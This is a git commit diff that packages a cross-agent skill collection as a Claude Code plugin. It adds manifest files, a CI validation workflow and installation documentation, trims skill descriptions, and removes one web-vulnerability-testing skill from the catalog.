feat: add Claude Code packaging and skill quality gates (#26)

- add native Claude Code plugin and marketplace manifests
- document Claude Code installation, invocation, updates, and removal
- reduce routing metadata and enforce a catalog budget
- validate Agent Skills and Claude manifests in CI
- remove wooyun-legacy from the package and provenance
- update package metadata and tests for the 54-skill catalog
This commit is contained in:
Wayner Barrios
2026-08-13 17:06:24 -04:00
committed by GitHub
parent 086e9bae2f
commit 66eac6e8db
59 changed files with 260 additions and 6861 deletions
+1 -1
View File
@@ -1,7 +1,7 @@
{
"name": "opencode-power-pack",
"interface": {
"displayName": "Codex + OpenCode + Pi Power Pack"
"displayName": "Claude Code + Codex + OpenCode + Pi Power Pack"
},
"plugins": [
{
+23
View File
@@ -0,0 +1,23 @@
{
"$schema": "https://json.schemastore.org/claude-code-marketplace.json",
"name": "opencode-power-pack",
"owner": {
"name": "Wayner Barrios",
"url": "https://github.com/waybarrios"
},
"description": "Portable software-development skills for Claude Code, Codex, OpenCode, and Pi.",
"plugins": [
{
"name": "opencode-power-pack",
"source": "./",
"description": "Fifty-four workflows for review, security, feature development, frontend work, authoring, and ML tooling.",
"category": "productivity",
"tags": [
"software-development",
"code-review",
"security",
"skills"
]
}
]
}
+25
View File
@@ -0,0 +1,25 @@
{
"$schema": "https://json.schemastore.org/claude-code-plugin-manifest.json",
"name": "opencode-power-pack",
"displayName": "OpenCode Power Pack",
"version": "0.4.0",
"description": "Fifty-four software-development workflows for Claude Code, Codex, OpenCode, and Pi.",
"author": {
"name": "Wayner Barrios",
"url": "https://github.com/waybarrios"
},
"homepage": "https://github.com/waybarrios/opencode-power-pack",
"repository": "https://github.com/waybarrios/opencode-power-pack",
"license": "MIT AND Apache-2.0",
"keywords": [
"claude-code",
"codex",
"opencode",
"pi",
"skills",
"code-review",
"security-review",
"feature-development"
],
"skills": "./skills/"
}
+5 -4
View File
@@ -1,7 +1,7 @@
{
"name": "opencode-power-pack",
"version": "0.4.0",
"description": "Fifty-five Claude Code workflows packaged for Codex, OpenCode, and Pi.",
"description": "Fifty-four software-development workflows for Claude Code, Codex, OpenCode, and Pi.",
"author": {
"name": "Wayner Barrios",
"url": "https://github.com/waybarrios"
@@ -13,6 +13,7 @@
"codex",
"codex-cli",
"openai-codex",
"claude-code",
"opencode",
"pi",
"pi-coding-agent",
@@ -23,9 +24,9 @@
],
"skills": "./skills/",
"interface": {
"displayName": "OpenCode + Codex Power Pack",
"shortDescription": "Fifty-five workflows for Codex, OpenCode, and Pi",
"longDescription": "Review code, audit security, design and implement features, build MCP servers, and maintain project guidance with reusable workflows for Codex, OpenCode, and Pi.",
"displayName": "Cross-Agent Power Pack",
"shortDescription": "Fifty-four workflows for Claude Code, Codex, OpenCode, and Pi",
"longDescription": "Review code, audit security, design and implement features, build MCP servers, and maintain project guidance with reusable workflows for Claude Code, Codex, OpenCode, and Pi.",
"developerName": "Wayner Barrios",
"category": "Productivity",
"capabilities": [
+9
View File
@@ -14,3 +14,12 @@ jobs:
with:
node-version: "lts/*"
- run: node --test
- uses: actions/setup-python@v5
with:
python-version: "3.x"
- name: Validate Agent Skills specification
run: |
python -m pip install skills-ref==0.1.1
for skill in skills/*; do
agentskills validate "$skill"
done
+23
View File
@@ -0,0 +1,23 @@
name: Claude Code smoke
on:
pull_request:
paths:
- ".claude-plugin/**"
- "skills/**"
- "package.json"
- "README.md"
- ".github/workflows/claude-smoke.yml"
workflow_dispatch:
jobs:
claude-2-1-231:
runs-on: ubuntu-latest
timeout-minutes: 5
steps:
- uses: actions/checkout@v4
- uses: actions/setup-node@v4
with:
node-version: "lts/*"
- name: Validate plugin and marketplace manifests
run: npx --yes @anthropic-ai/claude-code@2.1.231 plugin validate . --strict
+73 -16
View File
@@ -2,10 +2,10 @@
<img src="assets/logo.svg" alt="opencode-power-pack" width="100%" />
</p>
<h1 align="center">OpenCode Power Pack for Codex, OpenCode + Pi</h1>
<h1 align="center">OpenCode Power Pack for Claude Code, Codex, OpenCode + Pi</h1>
<p align="center">
<i>Fifty-five Claude Code workflows, adapted for Codex, OpenCode, and Pi.<br/>
<i>Fifty-four portable workflows for Claude Code, Codex, OpenCode, and Pi.<br/>
Code review, security audit, feature development, frontend design, project memory, and authoring tools.</i>
</p>
@@ -14,7 +14,8 @@
<a href="https://github.com/waybarrios/opencode-power-pack/stargazers"><img alt="GitHub stars" src="https://img.shields.io/github/stars/waybarrios/opencode-power-pack?style=flat-square&color=FFD60A"></a>
<a href="https://github.com/waybarrios/opencode-power-pack/commits/main"><img alt="Last commit" src="https://img.shields.io/github/last-commit/waybarrios/opencode-power-pack?style=flat-square"></a>
<a href="https://github.com/waybarrios/opencode-power-pack/issues"><img alt="GitHub issues" src="https://img.shields.io/github/issues/waybarrios/opencode-power-pack?style=flat-square"></a>
<img alt="Skills: 55" src="https://img.shields.io/badge/skills-55-FFD60A?style=flat-square&labelColor=0B0F14">
<img alt="Skills: 54" src="https://img.shields.io/badge/skills-54-FFD60A?style=flat-square&labelColor=0B0F14">
<img alt="Claude Code plugin" src="https://img.shields.io/badge/Claude_Code-plugin-0B0F14?style=flat-square&labelColor=FFD60A">
<img alt="OpenCode 1.18.7+" src="https://img.shields.io/badge/opencode-1.18.7%2B-0B0F14?style=flat-square&labelColor=FFD60A">
<img alt="Codex plugin" src="https://img.shields.io/badge/Codex-plugin-0B0F14?style=flat-square&labelColor=FFD60A">
<img alt="Pi package" src="https://img.shields.io/badge/Pi-package-0B0F14?style=flat-square&labelColor=FFD60A">
@@ -23,6 +24,7 @@
<p align="center">
<a href="#installation"><b>Install</b></a> ·
<a href="#selective-install-with-npm"><b>Select Skills</b></a> ·
<a href="#claude-code-quick-install"><b>Claude Code</b></a> ·
<a href="#codex-quick-install"><b>Codex Quick Install</b></a> ·
<a href="#pi-quick-install"><b>Pi Quick Install</b></a> ·
<a href="#whats-inside"><b>Skills</b></a> ·
@@ -31,6 +33,17 @@
<a href="#acknowledgments"><b>Credits</b></a>
</p>
## Claude Code Quick Install
Run these commands inside Claude Code:
```text
/plugin marketplace add waybarrios/opencode-power-pack
/plugin install opencode-power-pack@opencode-power-pack
```
Run `/reload-plugins` if the installation summary requests it. Skills are namespaced to avoid collisions, so explicit invocations use names such as `/opencode-power-pack:code-review` and `/opencode-power-pack:feature-dev`.
## Codex Quick Install
```bash
@@ -46,7 +59,7 @@ Start a new Codex session, open `/plugins` to confirm the installation, or invok
pi install git:github.com/waybarrios/opencode-power-pack
```
Pi discovers the fifty-five skills declared by the package. Use `pi list` to verify the installation. For a project-local installation recorded in `.pi/settings.json`, add `-l`:
Pi discovers the fifty-four skills declared by the package. Use `pi list` to verify the installation. For a project-local installation recorded in `.pi/settings.json`, add `-l`:
```bash
pi install git:github.com/waybarrios/opencode-power-pack -l
@@ -89,13 +102,13 @@ npx opencode-power-pack@latest install --profile review --force
Profiles automatically include required companion skills and can be combined with individual skill names. The default destination is `~/.agents/skills`; `--project` finds the current Git root and installs into its `.agents/skills` directory. Existing directories are skipped unless `--force` is provided, and replacements are staged with rollback plus per-skill locking. Every copied skill retains its provenance, third-party notices, and license texts. Use `--dry-run` to preview or `--all` to install the complete catalog.
The npm installer and the full Codex/OpenCode plugin are alternative activation paths. If the full plugin is already active, selectively copying the same skills does not reduce that plugin's loaded catalog.
The npm installer and the full Claude Code/Codex/OpenCode plugins are alternative activation paths. Claude Code users should prefer the namespaced plugin because the selective installer currently targets the portable `.agents/skills` location used by Codex, OpenCode, and Pi. If a full plugin is already active, selectively copying the same skills does not reduce that plugin's loaded catalog.
## Why This Exists
Codex, OpenCode, and Pi read `SKILL.md` workflows, but many valuable Claude Code workflows originated as Claude-specific commands and agents. Copying those artifacts directly does not preserve their orchestration, permissions, or subagent behavior.
Claude Code, Codex, OpenCode, and Pi read `SKILL.md` workflows, but many valuable workflows originated as Claude-specific commands and agents. Copying those artifacts directly does not preserve their orchestration, permissions, or subagent behavior.
This package adapts the portable methodology into shared skills, registers feature-development specialist roles as read-only OpenCode subagents, lets Codex execute the same phase assignments with its native subagent workflow, and exposes all fifty-five skills as a Pi package. It ships immutable provenance for every upstream work.
This package exposes the shared skills as a namespaced Claude Code plugin, registers feature-development specialist roles as read-only OpenCode subagents, lets Codex execute the same phase assignments with its native subagent workflow, and exposes all fifty-four skills as a Pi package. It ships immutable provenance for every upstream work.
It complements [obra/superpowers](https://github.com/obra/superpowers), which provides process skills such as brainstorming, TDD, debugging, and plan execution.
@@ -119,7 +132,6 @@ It complements [obra/superpowers](https://github.com/obra/superpowers), which pr
| Review | `semgrep-rule-creator` | Write custom Semgrep rules for a specific vulnerability/bug pattern |
| Review | `semgrep-rule-variant-creator` | Port an existing Semgrep rule to additional target languages |
| Review | `codeql` | Run a CodeQL scan using interprocedural data flow and taint tracking |
| Review | `wooyun-legacy` | Web vulnerability testing methodology distilled from 88k+ real-world disclosure cases |
| Feature development | `feature-dev` | Seven-phase workflow from discovery through implementation and review |
| Feature development | `code-explorer` | Trace a feature across entry points, layers, state, and dependencies |
| Feature development | `code-architect` | Produce a file-level architecture and implementation blueprint |
@@ -169,7 +181,7 @@ It complements [obra/superpowers](https://github.com/obra/superpowers), which pr
| One file, function, or small local change | `code-reviewer` (Focused Code Review) | Uses a lighter two-pass review with full-file and caller context |
| `feature-dev` quality phase | `code-reviewer` (Focused Code Review) | Acts as the focused specialist role dispatched by the feature workflow |
They are complementary rather than duplicate workflows. Codex shows the distinct user-facing titles above, while the stable skill IDs continue to work across Codex, OpenCode, and Pi. Start with `code-review` for merge decisions and `code-reviewer` for focused iteration.
They are complementary rather than duplicate workflows. Codex shows distinct user-facing titles, Claude Code namespaces both under `opencode-power-pack`, and the stable skill IDs continue to work across every host. Start with `code-review` for merge decisions and `code-reviewer` for focused iteration.
## Installation
@@ -178,10 +190,22 @@ They are complementary rather than duplicate workflows. Codex shows the distinct
- Git
- Node.js 20 or newer, including npm/npx, for [selective installation](#selective-install-with-npm)
- One supported host:
- A current Claude Code installation with plugin support: <https://code.claude.com/docs/en/plugins>
- OpenCode 1.18.7 or newer: <https://opencode.ai>
- A current Codex CLI or Codex desktop environment with plugin support: <https://developers.openai.com/codex/>
- A current Pi coding agent installation: <https://pi.dev/>
### Claude Code
Add the repository marketplace and install its plugin from inside Claude Code:
```text
/plugin marketplace add waybarrios/opencode-power-pack
/plugin install opencode-power-pack@opencode-power-pack
```
Run `/reload-plugins` if prompted. Claude Code loads plugin skills from the repository-level `skills/` directory and prefixes them with the plugin namespace, preventing collisions with built-in or separately installed skills. For local development, run `claude --plugin-dir .` from a clone of this repository.
### Codex CLI And Desktop
Add this repository as a marketplace, then install the plugin:
@@ -192,7 +216,7 @@ codex plugin add opencode-power-pack@opencode-power-pack
codex plugin list --marketplace opencode-power-pack
```
Start a new Codex session after installation so the fifty-five bundled skills are loaded. Use `/plugins` to inspect the installed plugin or `$` to select one of its skills explicitly. Codex plugin packaging follows the [official plugin structure](https://developers.openai.com/plugins/build/plugins).
Start a new Codex session after installation so the fifty-four bundled skills are loaded. Use `/plugins` to inspect the installed plugin or `$` to select one of its skills explicitly. Codex plugin packaging follows the [official plugin structure](https://developers.openai.com/plugins/build/plugins).
For a smaller personal or repository-specific set, use the [selective npm installer](#selective-install-with-npm) instead of the full plugin.
@@ -229,6 +253,16 @@ Pi installs the Git package and loads the `skills/` directory declared in `packa
Pi can also narrow an installed package through `pi config`. The npm installer is useful when you want the same selected set to be discovered by Pi, Codex, and OpenCode from `.agents/skills`.
### Verify Claude Code
From a local clone, validate both the plugin and marketplace manifests:
```bash
claude plugin validate . --strict
```
After marketplace installation, run `/plugin` and confirm that `opencode-power-pack` is enabled. Invoke `/opencode-power-pack:code-review` for a first test.
### Verify OpenCode
```bash
@@ -236,7 +270,7 @@ opencode debug skill
opencode debug agent code-explorer
```
The first command should include all fifty-five unprefixed skill names. The second should report a `subagent` with editing denied. In the TUI, `ctrl+p` should list `/code-review`, `/feature-dev`, `/frontend-design`, and the other skill-derived commands.
The first command should include all fifty-four unprefixed skill names. The second should report a `subagent` with editing denied. In the TUI, `ctrl+p` should list `/code-review`, `/feature-dev`, `/frontend-design`, and the other skill-derived commands.
### Verify Codex
@@ -256,6 +290,15 @@ The package list should include the Git source for `waybarrios/opencode-power-pa
## Updating
For Claude Code:
```text
/plugin marketplace update opencode-power-pack
/plugin update opencode-power-pack@opencode-power-pack
```
Run `/reload-plugins` if prompted.
For Codex:
```bash
@@ -281,6 +324,12 @@ Restart OpenCode after the command finishes. For a pinned installation, update t
## Uninstalling
For Claude Code:
```text
/plugin uninstall opencode-power-pack@opencode-power-pack
```
For Codex:
```bash
@@ -299,6 +348,8 @@ For OpenCode, remove the `opencode-power-pack@...` entry from the `plugin` array
| Symptom | Cause | Fix |
|---|---|---|
| Claude Code cannot add the marketplace | The checkout predates `.claude-plugin/marketplace.json` or the repository is inaccessible | Update the checkout, verify repository access, and run `claude plugin validate . --strict` locally |
| Claude Code installed the plugin but a skill name conflicts | The unprefixed skill came from another source | Invoke the namespaced form, such as `/opencode-power-pack:code-review` |
| Codex cannot find the marketplace | Marketplace snapshot is missing or stale | Run `codex plugin marketplace add waybarrios/opencode-power-pack --ref main`, or upgrade the existing marketplace |
| Codex installed the plugin but skills do not appear | The current session predates installation | Start a new Codex session and inspect `/plugins` |
| Pi does not show the skills | Package is absent, disabled, or the session predates installation | Run `pi list`, inspect `pi config`, and start a new Pi session |
@@ -310,7 +361,7 @@ For OpenCode, remove the `opencode-power-pack@...` entry from the `plugin` array
## Invocation
Codex exposes installed skills through `$` mentions, OpenCode 1.18.7+ exposes each discovered skill as a same-named slash command, and Pi loads the workflows from the installed skills package:
Claude Code exposes plugin skills as `/opencode-power-pack:<skill>`, Codex uses `$` mentions, OpenCode 1.18.7+ exposes same-named slash commands, and Pi loads workflows from the installed skills package:
```text
/code-review
@@ -336,6 +387,8 @@ $feature-dev add a logout button to the topbar
/feature-dev add a logout button to the topbar
/security-review
/frontend-design pricing page, brutalist tone, single-screen
/opencode-power-pack:code-review
/opencode-power-pack:feature-dev add a logout button to the topbar
```
In OpenCode, an explicit command with the same name takes precedence over a skill-derived command.
@@ -345,6 +398,10 @@ In OpenCode, an explicit command with the same name takes precedence over a skil
```text
opencode-power-pack
|
+-- .claude-plugin/
| +-- plugin.json declares the namespaced Claude Code plugin
| +-- marketplace.json makes the repository installable in Claude Code
|
+-- .codex-plugin/plugin.json
| +-- packages all skills/ for Codex and compatible plugin surfaces
|
@@ -369,7 +426,7 @@ opencode-power-pack
+-- repository, commit, path, blob, date, and adaptation type
```
Each `SKILL.md` is the single source for its workflow. The OpenCode plugin derives specialist-agent prompts from those files at startup. Codex loads the same skills from the plugin and follows `feature-dev`'s specialist assignments with its native subagent workflow; installing a skill does not itself create a named custom agent.
Each `SKILL.md` is the single source for its workflow. Claude Code loads the directory through its plugin namespace. The OpenCode plugin derives specialist-agent prompts from those files at startup. Codex loads the same skills from its plugin and follows `feature-dev`'s specialist assignments with its native subagent workflow; installing a skill does not itself create a named custom agent.
The packaged agents deny edits, external network access, and nested tasks. `code-reviewer` additionally allows a narrow set of read-only Git commands.
@@ -377,8 +434,8 @@ The packaged agents deny edits, external network access, and nested tasks. `code
| In scope | Out of scope |
|---|---|
| Portable Claude Code workflow methodology | Claude Code hook contracts |
| Codex, OpenCode, and Pi skills, invocation, and subagent orchestration | Proprietary or non-redistributable plugins |
| Claude Code, Codex, OpenCode, and Pi skills and invocation | Claude Code hook contracts |
| Portable and host-native subagent orchestration | Proprietary or non-redistributable plugins |
| Licensed adaptations with immutable provenance | Automatic trust of third-party skill catalogs |
| Explicit permission boundaries and regression tests | Supporting OpenCode versions older than 1.18.7 or obsolete Codex plugin formats |
@@ -411,7 +468,7 @@ Every skill must use a lowercase hyphenated directory/name, provide a trigger-sp
## Acknowledgments
The bundled skills are modified upstream works. This repository contributes their Codex, OpenCode, and Pi adaptation, packaging, additional workflow guidance, tests, and compatibility layer.
The bundled skills are modified upstream works. This repository contributes their Claude Code, Codex, OpenCode, and Pi packaging, additional workflow guidance, tests, and compatibility layer.
| Upstream | Pinned source | Used for |
|---|---|---|
+2 -2
View File
@@ -33,8 +33,8 @@ Copyright 2026 Firstpick. The upstream notice is available at
The modified `supply-chain-risk-auditor`, `sharp-edges`, `insecure-defaults`,
`fp-check`, `vuln-report`, `agentic-actions-auditor`, `security-threat-model`,
`differential-review`, `variant-analysis`, `sarif-parsing`,
`semgrep-rule-creator`, `semgrep-rule-variant-creator`, `semgrep`, `codeql`,
and `wooyun-legacy` skills derive from the MIT-licensed `vigolium/piolium`
`semgrep-rule-creator`, `semgrep-rule-variant-creator`, `semgrep`, and `codeql`
skills derive from the MIT-licensed `vigolium/piolium`
repository, including their `references/`, `resources/`, and `workflows/`
support files. Frontmatter `allowed-tools` lists, an unfilled Apache-2.0
license template accidentally left in the `security-threat-model` directory,
-13
View File
@@ -717,19 +717,6 @@
"path": "skills/vuln-report/SKILL.md",
"blob": "bce9e57c7d3fccf8183a96d641a35f47ace4cdeb"
}
},
{
"name": "wooyun-legacy",
"license": "MIT",
"adaptation": "adapted",
"reviewedAt": "2026-08-02",
"source": {
"repository": "https://github.com/vigolium/piolium",
"commit": "890888a20d52a9378d20bbbc7b8850483d97362a",
"committedAt": "2026-05-23T20:30:16+08:00",
"path": "skills/wooyun-legacy/SKILL.md",
"blob": "741a35ab4dd0486d32c3030be1ee1d9fd87cfe3a"
}
}
]
}
+2 -1
View File
@@ -1,7 +1,7 @@
{
"name": "opencode-power-pack",
"version": "0.4.0",
"description": "Fifty-five Claude Code workflows packaged for Codex, OpenCode, and Pi: code review, feature development, security review, frontend design, authoring, and project memory.",
"description": "Fifty-four software-development workflows for Claude Code, Codex, OpenCode, and Pi: code review, feature development, security review, frontend design, authoring, and project memory.",
"type": "module",
"main": ".opencode/plugins/opencode-power-pack.js",
"bin": {
@@ -17,6 +17,7 @@
},
"files": [
"skills",
".claude-plugin",
".codex-plugin",
".opencode",
"bin",
+1 -1
View File
@@ -1,6 +1,6 @@
---
name: agentic-actions-auditor
description: "Audits GitHub Actions workflows for security vulnerabilities in AI agent integrations including Claude Code Action, Gemini CLI, OpenAI Codex, and GitHub AI Inference. Detects attack vectors where attacker-controlled input reaches AI agents running in CI/CD pipelines, including env var intermediary patterns, direct expression injection, dangerous sandbox configurations, and wildcard user allowlists. Use when reviewing workflow files that invoke AI coding agents, auditing CI/CD pipeline security for prompt injection risks, or evaluating agentic action configurations."
description: "Audit GitHub Actions that run AI agents for prompt injection, unsafe interpolation, sandbox gaps, and permissive actor rules. Use for agentic CI workflows, not general application code review."
license: MIT (modified; see UPSTREAMS.json)
---
+1 -1
View File
@@ -1,6 +1,6 @@
---
name: codeql
description: "Scans a codebase for security vulnerabilities using CodeQL's interprocedural data flow and taint tracking analysis. Triggers on \"run codeql\", \"codeql scan\", \"codeql analysis\", \"build codeql database\", or \"find vulnerabilities with codeql\". Supports \"run all\" (security-and-quality suite) and \"important only\" (high-precision security findings) scan modes. Also handles creating data extension models and processing CodeQL SARIF output."
description: "Run CodeQL database creation and security queries, add data-extension models, or process CodeQL SARIF. Use when CodeQL is explicitly requested; use security-review for a broader manual security review."
license: MIT (modified; see UPSTREAMS.json)
---
+1 -1
View File
@@ -1,6 +1,6 @@
---
name: hf-cli
description: "Hugging Face Hub CLI (`hf`) for downloading, uploading, and managing models, datasets, spaces, buckets, repos, papers, jobs, and more on the Hugging Face Hub. Use when: handling authentication; managing local cache; managing Hugging Face Buckets; running or scheduling jobs on Hugging Face infrastructure; managing Hugging Face repos; discussions and pull requests; browsing models, datasets and spaces; reading, searching, or browsing academic papers; managing collections; querying datasets; configuring spaces; setting up webhooks; or deploying and managing HF Inference Endpoints. Make sure to use this skill whenever the user mentions 'hf', 'huggingface', 'Hugging Face', 'huggingface-cli', or 'hugging face cli', or wants to do anything related to the Hugging Face ecosystem and to AI and ML in general. Also use for cloud storage needs like training checkpoints, data pipelines, or agent traces. Use even if the user doesn't explicitly ask for a CLI command. Replaces the deprecated `huggingface-cli`."
description: "Use the `hf` CLI for Hub authentication, downloads, uploads, repositories, cache, jobs, buckets, webhooks, and endpoint administration. Use for CLI operations, not model recommendations, paper analysis, training design, or building a Space."
license: Apache-2.0 (modified; see UPSTREAMS.json)
---
@@ -1,6 +1,6 @@
---
name: hf-cloud-aws-context-discovery
description: Discover the user's local AWS context (active profile, region, account ID, caller identity) at the start of any AWS task. Use this skill before any other AWS work — deploying to SageMaker, creating resources, calling AWS APIs, or anything that touches an AWS account. Use it especially when the user has not specified a region or profile explicitly, when they say things like "use my AWS account", "deploy to AWS", "use my profile", or when about to make any AWS CLI or SDK call. Never guess the region or account ID — always use this skill to read it from the local configuration first.
description: "Discover the active AWS profile, region, account, and caller identity before SageMaker or AWS work. Use when local AWS context is needed or unspecified; do not use for cloud-agnostic model planning."
license: Apache-2.0 (modified; see UPSTREAMS.json)
---
+1 -1
View File
@@ -1,6 +1,6 @@
---
name: hf-cloud-python-env-setup
description: 'Set up an isolated Python environment for SageMaker / AWS work, with the right Python version and current boto3. Use this skill whenever Python code will be executed for a SageMaker deployment, training job, or any AWS automation — including when about to run `pip install`, when about to invoke `boto3`, when creating or activating a virtualenv, or when the user asks to "set up the environment". Never use system Python and never `pip install` into it. Always isolate. This skill prevents the most common failure modes: wrong Python version, dependency conflicts, and stale SDKs.'
description: "Create an isolated Python environment with a compatible Python version and boto3 for SageMaker or AWS automation. Use before executing AWS Python code; do not use for general Python environment setup."
license: Apache-2.0 (modified; see UPSTREAMS.json)
---
@@ -1,6 +1,6 @@
---
name: hf-cloud-sagemaker-deployment-planner
description: 'Plan and coordinate the deployment of a model to Amazon SageMaker AI. Use this skill whenever the user wants to deploy, host, serve, or expose a model on SageMaker or AWS — including phrases like "deploy a model", "host this LLM on AWS", "serve this embedding model", "deploy a reranker", "deploy a text-to-image / diffusion model", "host this for async inference", "create an endpoint", "serve my fine-tuned model", or any request that involves making a model available for inference on AWS. Use this even when the user is vague (e.g. "I just want to get this running on AWS, you figure it out"). Works for text-generation LLMs, embedding models, rerankers, classifiers, text-to-image / diffusion models — picks the right serving stack and chooses between real-time and async inference. This is the entry-point skill for SageMaker deployment work — it asks clarifying questions, picks a deployment pathway, and coordinates the other deployment skills.'
description: "Plan and coordinate a model deployment to Amazon SageMaker, including serving stack and real-time versus async inference. Use as the entry point for SageMaker hosting requests, before image, IAM, and endpoint implementation skills."
license: Apache-2.0 (modified; see UPSTREAMS.json)
---
@@ -1,6 +1,6 @@
---
name: hf-cloud-sagemaker-iam-preflight
description: 'Ensure a usable SageMaker execution role exists before deploying or training. Use this skill whenever about to create a SageMaker endpoint, model, training job, or any resource that requires an execution role. Use it especially when the user has not provided a role ARN explicitly, when scripts are about to call `iam:CreateRole`, or when an AccessDenied error mentions an IAM action. Never blindly call `iam:CreateRole` — always check for existing roles first. This skill prevents the most common SageMaker deployment failure: trying to create IAM resources from an SSO principal that has no IAM write permissions.'
description: "Verify or select a SageMaker execution role before creating models, endpoints, or training jobs. Use when a role ARN is missing or IAM access fails; inspect existing roles before proposing role creation."
license: Apache-2.0 (modified; see UPSTREAMS.json)
---
@@ -1,6 +1,6 @@
---
name: hf-cloud-sagemaker-production-defaults
description: 'Create a SageMaker endpoint (real-time or async) with autoscaling, CloudWatch alarms, and tagging enabled by default. Use this skill whenever about to create a SageMaker endpoint, write deployment code that calls `create_endpoint`, or finalize a deployment after the image URI and IAM role are known. Provides deploy.py for real-time endpoints and deploy_async.py for async endpoints (with genuine scale-to-zero support). This is the last step in the SageMaker deployment workflow. Never generate a bare `create_endpoint` call without these defaults — endpoints without autoscaling or alarms are demos, not deployments.'
description: "Implement a production SageMaker endpoint with autoscaling, CloudWatch alarms, and tags. Use after the serving image and IAM role are known; use the deployment planner first when architecture is undecided."
license: Apache-2.0 (modified; see UPSTREAMS.json)
---
@@ -1,6 +1,6 @@
---
name: hf-cloud-serving-image-selection
description: 'Pick the right serving container for a SageMaker model deployment and find its current image URI. Use this skill whenever about to deploy a model to a SageMaker endpoint and an image URI needs to be chosen — including when the user says "deploy this LLM", "host this HuggingFace model", "serve this fine-tuned model", "deploy this embedding model", "host a reranker", "serve a sentence-transformers model", or when about to hardcode any container URI in deployment code. HuggingFace-curated Deep Learning Containers are ALWAYS preferred: HuggingFace vLLM (LLMs and generative rerankers), HuggingFace vLLM-Omni (multimodal), TEI (embeddings/cross-encoder rerankers), HF Inference Toolkit (other transformers). Generic images (AWS vLLM, DJL-LMI, SGLang) are used only when no HuggingFace image is compatible — never merely because they carry a newer version. Never hardcode a container URI from memory and never default to TGI. Prevents stale-image failures and wrong-region URIs.'
description: "Select and verify the current region-specific serving container URI for a SageMaker model deployment. Use after the deployment pathway is chosen and before endpoint code; never infer an image URI from memory."
license: Apache-2.0 (modified; see UPSTREAMS.json)
---
+1 -1
View File
@@ -1,6 +1,6 @@
---
name: huggingface-best
description: "Use when the user asks about finding the best, top, or recommended model for a task, wants to know what AI model to use, or wants to compare models by benchmark scores. Triggers on: \"best model for X\", \"what model should I use for\", \"top models for [task]\", \"which model runs on my laptop/machine/device\", \"recommend a model for\", \"what LLM should I use for\", \"compare models for\", \"what's state of the art for\", or any question about choosing an AI model for a specific use case. Always use this skill when the user wants model recommendations or comparisons, even if they don't explicitly mention HuggingFace or benchmarks."
description: "Find and compare recommended Hugging Face models for a task using benchmarks, model size, and device constraints. Use for model selection questions; use huggingface-local-models for GGUF setup and hf-cli for Hub operations."
license: Apache-2.0 (modified; see UPSTREAMS.json)
---
+1 -1
View File
@@ -1,6 +1,6 @@
---
name: huggingface-llm-trainer
description: Train or fine-tune language and vision models using TRL (Transformer Reinforcement Learning) or Unsloth with Hugging Face Jobs infrastructure. Covers SFT, DPO, GRPO and reward modeling training methods, plus GGUF conversion for local deployment. Includes guidance on the TRL Jobs package, UV scripts with PEP 723 format, dataset preparation and validation, hardware selection, cost estimation, Trackio monitoring, Hub authentication, model selection/leaderboards and model persistence. Use for tasks involving cloud GPU training, GGUF conversion, or when users mention training on Hugging Face Jobs without local GPU setup.
description: "Train or fine-tune language models with TRL or Unsloth on Hugging Face Jobs, including SFT, DPO, GRPO, reward models, and GGUF conversion. Use for cloud LLM training; use huggingface-vision-trainer for vision tasks."
license: Apache-2.0 (modified; see UPSTREAMS.json)
---
@@ -1,6 +1,6 @@
---
name: huggingface-lora-space-builder
description: Build and publish a Gradio demo on Hugging Face Spaces for a user-provided LoRA. Use when someone asks to create, generate, ship, or publish a Space, demo, Gradio app, or playground for a LoRA — including LoRAs for Qwen-Image, Qwen-Image-Edit, LTX-Video, Wan, FLUX, SDXL, or other diffusion base models. Also triggers when someone describes a LoRA they trained or hosts on the Hub and wants to share it. Covers picking the right base pipeline and `diffusers` inference recipe, designing a UI tailored to the LoRA's task and inputs (Union/multi-task control, edit, video, image, etc.), respecting model-card recommendations (trigger words, steps, guidance, LoRA scale, example inputs), and shipping to ZeroGPU hardware as a private Space by default.
description: "Build and publish a Gradio Hugging Face Space for a user-provided image or video LoRA, including pipeline selection and model-card settings. Use for LoRA demos; use huggingface-spaces for general Space work."
license: Apache-2.0 (modified; see UPSTREAMS.json)
---
@@ -392,4 +392,4 @@ The smoke-test exists to convert these from "user discovers it and reports back"
- Uploading the LoRA weights into the Space repo. Pull from the LoRA's own Hub repo at runtime.
- Asking for the HF token only at the end, then discovering the LoRA was private all along and you couldn't read the model card.
- Exposing every diffusers knob. Pick the 1–3 controls that matter for this LoRA.
- Long preambles in the chat reply once the Space is published. The Space URL is the deliverable; keep the wrap-up brief.
- Long preambles in the chat reply once the Space is published. The Space URL is the deliverable; keep the wrap-up brief.
+1 -1
View File
@@ -1,6 +1,6 @@
---
name: huggingface-spaces
description: Build, deploy, and maintain applications on Hugging Face Spaces — Gradio / Docker / Static SDKs, ZeroGPU and dedicated hardware, model loading, debugging, buckets, inference providers, community grants. Use whenever the user asks to create or host an app on Hugging Face, port code onto ZeroGPU, fix a Space that won't build or run, or otherwise work with `hf spaces …`, `@spaces.GPU`, Space README frontmatter, or the `spaces` Python package.
description: "Build, deploy, debug, or maintain a Hugging Face Space using Gradio, Docker, or Static SDKs. Use for general Space hosting and configuration; use huggingface-zerogpu for ZeroGPU runtime constraints and lora-space-builder for LoRA demos."
license: Apache-2.0 (modified; see UPSTREAMS.json)
---
+1 -1
View File
@@ -1,6 +1,6 @@
---
name: huggingface-vision-trainer
description: Trains and fine-tunes vision models for object detection (D-FINE, RT-DETR v2, DETR, YOLOS), image classification (timm models — MobileNetV3, MobileViT, ResNet, ViT/DINOv3 — plus any Transformers classifier), and SAM/SAM2 segmentation using Hugging Face Transformers on Hugging Face Jobs cloud GPUs. Covers COCO-format dataset preparation, Albumentations augmentation, mAP/mAR evaluation, accuracy metrics, SAM segmentation with bbox/point prompts, DiceCE loss, hardware selection, cost estimation, Trackio monitoring, and Hub persistence. Use when users mention training object detection, image classification, SAM, SAM2, segmentation, image matting, DETR, D-FINE, RT-DETR, ViT, timm, MobileNet, ResNet, bounding box models, or fine-tuning vision models on Hugging Face Jobs.
description: "Train object-detection, image-classification, or SAM segmentation models on Hugging Face Jobs. Use for vision fine-tuning and evaluation; use huggingface-llm-trainer for language models."
license: Apache-2.0 (modified; see UPSTREAMS.json)
---
+1 -1
View File
@@ -1,6 +1,6 @@
---
name: huggingface-zerogpu
